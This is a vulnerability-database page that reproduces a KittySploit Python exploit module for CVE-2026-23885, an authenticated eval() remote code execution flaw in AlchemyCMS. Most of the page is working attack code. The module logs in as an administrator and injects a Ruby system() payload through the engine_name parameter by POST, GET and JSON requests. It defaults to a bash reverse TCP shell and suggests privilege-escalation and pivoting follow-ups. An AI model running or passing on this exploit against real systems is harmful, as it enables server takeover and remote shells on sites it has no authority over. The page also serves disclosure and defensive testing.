Lucene search
+L

AlchemyCMS Authenticated eval() RCE

🗓️ 28 Jan 2026 17:22:34Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 3 Views

Authenticated RCE in AlchemyCMS via unsafe eval() in resource_url_proxy.

Related
Refs
Code
ReporterTitlePublishedViews
Family
attackerkb
attackerkb
CVE-2026-23885
19 Jan 202621:09
–attackerkb
circl
Circl
CVE-2026-23885
19 Jan 202610:25
–circl
cnnvd
CNNVD
AlchemyCMS security vulnerabilities
19 Jan 202600:00
–cnnvd
cve
CVE
CVE-2026-23885
19 Jan 202621:09
–cve
cvelist
Cvelist
CVE-2026-23885 AlchemyCMS has Authenticated Remote Code Execution (RCE) via eval injection in ResourcesHelper
19 Jan 202621:09
–cvelist
euvd
EUVD
EUVD-2026-3281
19 Jan 202621:09
–euvd
github
Github Security Blog
AlchemyCMS: Authenticated Remote Code Execution (RCE) via eval injection in ResourcesHelper
21 Jan 202601:04
–github
kitploit
Kitploit
CVE-2026-23885
8 Oct 202617:23
–kitploit
mend
Mend
CVE-2026-23885
19 Jan 202621:09
–mend
nvd
NVD
CVE-2026-23885
19 Jan 202622:16
–nvd
Rows per page
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.protocols.http.http_login import Http_login
import urllib.parse
import json


class Module(Exploit, Http_client, Http_login):

    __info__ = {
        "name": "AlchemyCMS Authenticated eval() RCE",
        "description": "Authenticated Remote Code Execution (RCE) via unsafe eval() in resource_url_proxy helper. "
                      "The helper method Alchemy::ResourcesHelper#resource_url_proxy in app/helpers/alchemy/resources_helper.rb "
                      "insecurely processes the engine_name attribute from a resource_handler object, passing it directly "
                      "to Ruby eval() without sanitization (CWE-95: Improper Neutralization of Directives in Dynamically "
                      "Evaluated Code), allowing arbitrary Ruby code and system command execution. "
                      "This vulnerability requires an authenticated user with administrative privileges.",
        "author": "KittySploit Team",
        "cve": ["CVE-2026-23885"],
        "arch": [Arch.X86, Arch.X64],
        "platform": Platform.LINUX,
        "category": "singles",
        "payload": {
            "default": "payloads/singles/cmd/unix/bash_reverse_tcp",
            "arch": "cmd",
            "platform": ["unix", "linux"],
            "category": "singles",
        },
        "references": [
            "https://github.com/AlchemyCMS/alchemy_cms",
            "https://cwe.mitre.org/data/definitions/95.html",  # CWE-95
        ],
    'agent': {
        'risk': 'intrusive',
        'effects': ['active_exploitation'],
        'expected_requests': 2,
        'reversible': False,
        'approval_required': True,
        'produces': ['exploit_paths', 'risk_signals'],
        'cost': 1.5,
        'noise': 0.5,
        'value': 1.0,
        'requires':         {'min_endpoints': 0,
         'min_params': 0,
         'tech_hints_any': [],
         'tech_hints_all': [],
         'specializations_any': [],
         'risk_signals_any': [],
         'auth_session': False,
         'capabilities_any': [],
         'capabilities_all': [],
         'confidence_min': {},
         'confidence_min_any': {},
         'endpoint_pattern_any': [],
         'param_any': [],
         'api_surface_ready': False},
        'chain':         {'produces_capabilities': [{'capability': 'rce', 'from_detail': ''},
                                   {'capability': 'shell', 'from_detail': ''}],
         'consumes_capabilities': [],
         'option_bindings': {},
         'suggested_followups': ['post/shell/multi/gather/privesc_suggester',
                                 'post/shell/multi/manage/pivot_autoroute']},
    },
    }

    admin_path = OptString("/admin", "AlchemyCMS admin path", required=False)
    resource_path = OptString("/admin/resources", "Path to resources endpoint", required=False)
    command = OptString("", "Command to execute (if not using payload)", required=False)
    session_cookie = OptString("", "Session cookie for authenticated requests (required for exploitation)", required=False)


    def check(self):
        """
        Check if target is AlchemyCMS and potentially vulnerable
        """
        try:
            admin_path = self.admin_path if self.admin_path else "/admin"
            
            # Check for AlchemyCMS admin interface
            response = self.http_request(method="GET", path=admin_path, allow_redirects=True)
            if response:
                content = response.text.lower()
                # Look for AlchemyCMS indicators
                if 'alchemy' in content or 'alchemycms' in content:
                    # Check if we can access resources endpoint
                    resource_path = self.resource_path if self.resource_path else "/admin/resources"
                    resource_response = self.http_request(method="GET", path=resource_path, allow_redirects=True)
                    if resource_response and resource_response.status_code in [200, 302, 401, 403]:
                        return {
                            'vulnerable': True,
                            'reason': 'AlchemyCMS detected and resources endpoint accessible',
                            'confidence': 'medium'
                        }
                    return {
                        'vulnerable': True,
                        'reason': 'AlchemyCMS detected',
                        'confidence': 'low'
                    }
            
            return {
                'vulnerable': False,
                'reason': 'AlchemyCMS not detected',
                'confidence': 'low'
            }
        except Exception as e:
            return {
                'vulnerable': False,
                'reason': f'Check failed: {str(e)}',
                'confidence': 'low'
            }

    def _authenticate(self):
        """
        Authenticate to AlchemyCMS admin interface if credentials are provided
        Returns True if authenticated, False otherwise
        """
        if not self.username or not self.password:
            if not self.session_cookie:
                print_warning("No authentication credentials provided")
                print_info("This exploit requires administrative authentication")
                print_info("Please provide either:")
                print_info("  - session_cookie option (recommended)")
                print_info("  - username and password options")
                return False
            else:
                # Use provided session cookie
                return True
        
        # Try to authenticate with username/password
        print_status("Attempting to authenticate to AlchemyCMS admin...")
        admin_path = self.admin_path if self.admin_path else "/admin"
        login_path = f"{admin_path}/login"
        
        try:
            # First, get the login page to extract CSRF token if needed
            response = self.http_request(method="GET", path=login_path, allow_redirects=True)
            if not response:
                print_error("Failed to access login page")
                return False
            
            # Try to login
            login_data = {
                'user[email]': self.username,
                'user[password]': self.password,
            }
            
            # Check for CSRF token in the form
            import re
            csrf_match = re.search(r'name=["\']authenticity_token["\']\s+value=["\']([^"\']+)["\']', response.text)
            if csrf_match:
                login_data['authenticity_token'] = csrf_match.group(1)
            
            response = self.http_request(
                method="POST",
                path=login_path,
                data=login_data,
                allow_redirects=True
            )
            
            if response and (response.status_code == 302 or 'admin' in response.url.lower()):
                print_success("Authentication successful")
                # Extract session cookie from response
                if 'Set-Cookie' in response.headers:
                    print_info("Session cookie obtained from authentication")
                return True
            else:
                print_error("Authentication failed")
                return False
        except Exception as e:
            print_error(f"Authentication error: {e}")
            return False

    def run(self):
        """
        Execute the exploit by injecting Ruby code via engine_name parameter
        NOTE: This exploit requires administrative authentication
        """
        try:
            print_status("Attempting AlchemyCMS Authenticated eval() RCE exploit...")
            print_warning("This exploit requires administrative authentication")
            
            # Check authentication
            if not self._authenticate():
                print_error("Authentication required but failed")
                print_info("This vulnerability requires an authenticated admin user")
                return False
            
            # Set session cookie if provided
            if self.session_cookie:
                self.set_cookie('_alchemy_session', self.session_cookie)
                print_info("Using provided session cookie")
            
            # Get payload command (framework automatically generates it via self.payload)
            # If command option is set, use it directly, otherwise use self.payload
            if self.command:
                command = self.command
            else:
                # self.payload is automatically generated by the framework
                if not self.payload:
                    print_error("No payload or command specified")
                    print_info("Please set a payload using 'set payload <path>' or use the command option")
                    return False
                command = str(self.payload)
            
            print_info(f"Executing command: {command}")
            
            # Escape the command for Ruby string
            # Replace single quotes with escaped version
            escaped_command = command.replace("'", "\\'")
            
            # Construct Ruby payload that executes the command and returns 'main_app'
            # The eval() expects a return value, so we execute the command and return 'main_app'
            # Vulnerable method: Alchemy::ResourcesHelper#resource_url_proxy in app/helpers/alchemy/resources_helper.rb
            ruby_payload = f"system('{escaped_command}'); 'main_app'"
            
            print_debug(f"Ruby payload: {ruby_payload}")
            
            # Try multiple exploitation vectors
            exploit_paths = [
                self.resource_path if self.resource_path else "/admin/resources",
                "/admin/resources/new",
                "/admin/resources",
                "/admin/pages",
            ]
            
            for exploit_path in exploit_paths:
                print_info(f"Trying path: {exploit_path}")
                
                # Method 1: Try via POST with engine_name parameter
                # The vulnerable method is Alchemy::ResourcesHelper#resource_url_proxy
                # in app/helpers/alchemy/resources_helper.rb
                payload_data = {
                    'resource_handler[engine_name]': ruby_payload,
                }
                
                # Try POST request with authenticated session
                response = self.http_request(
                    method="POST",
                    path=exploit_path,
                    data=payload_data,
                    allow_redirects=False,
                    timeout=10
                )
                
                if response and response.status_code in [200, 302, 500]:
                    print_success("Payload sent successfully")
                    # Wait a moment for command execution
                    import time
                    time.sleep(1)
                    self.vulnerable()
                    return True
                
                # Method 2: Try via GET with engine_name parameter
                params = {
                    'engine_name': ruby_payload,
                    'resource_handler[engine_name]': ruby_payload,
                }
                
                for param_name, param_value in params.items():
                    query_string = urllib.parse.urlencode({param_name: param_value})
                    full_path = f"{exploit_path}?{query_string}"
                    
                    response = self.http_request(
                        method="GET",
                        path=full_path,
                        allow_redirects=False,
                        timeout=10
                    )
                    
                    if response and response.status_code in [200, 302, 500]:
                        print_success("Payload sent successfully via GET")
                        # Wait a moment for command execution
                        import time
                        time.sleep(1)
                        self.vulnerable()
                        return True
                
                # Method 3: Try via JSON payload (for API endpoints)
                json_payload = {
                    'resource_handler': {
                        'engine_name': ruby_payload
                    }
                }
                
                headers = {
                    'Content-Type': 'application/json',
                    'Accept': 'application/json'
                }
                
                response = self.http_request(
                    method="POST",
                    path=exploit_path,
                    data=json.dumps(json_payload),
                    headers=headers,
                    allow_redirects=False,
                    timeout=10
                )
                
                if response and response.status_code in [200, 302, 500]:
                    print_success("Payload sent successfully via JSON")
                    # Wait a moment for command execution
                    import time
                    time.sleep(1)
                    self.vulnerable()
                    return True
            
            print_error("Exploitation failed - target may not be vulnerable or endpoint not accessible")
            self.not_vulnerable()
            return False
            
        except Exception as e:
            print_error(f"Exploitation failed: {e}")
            import traceback
            traceback.print_exc()
            return False

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

10 Jul 2026 11:31Current
6.3Medium risk
Vulners AI Score6.3
CVSS 3.16.4 - 9.9
EPSS0.00479
SSVC
3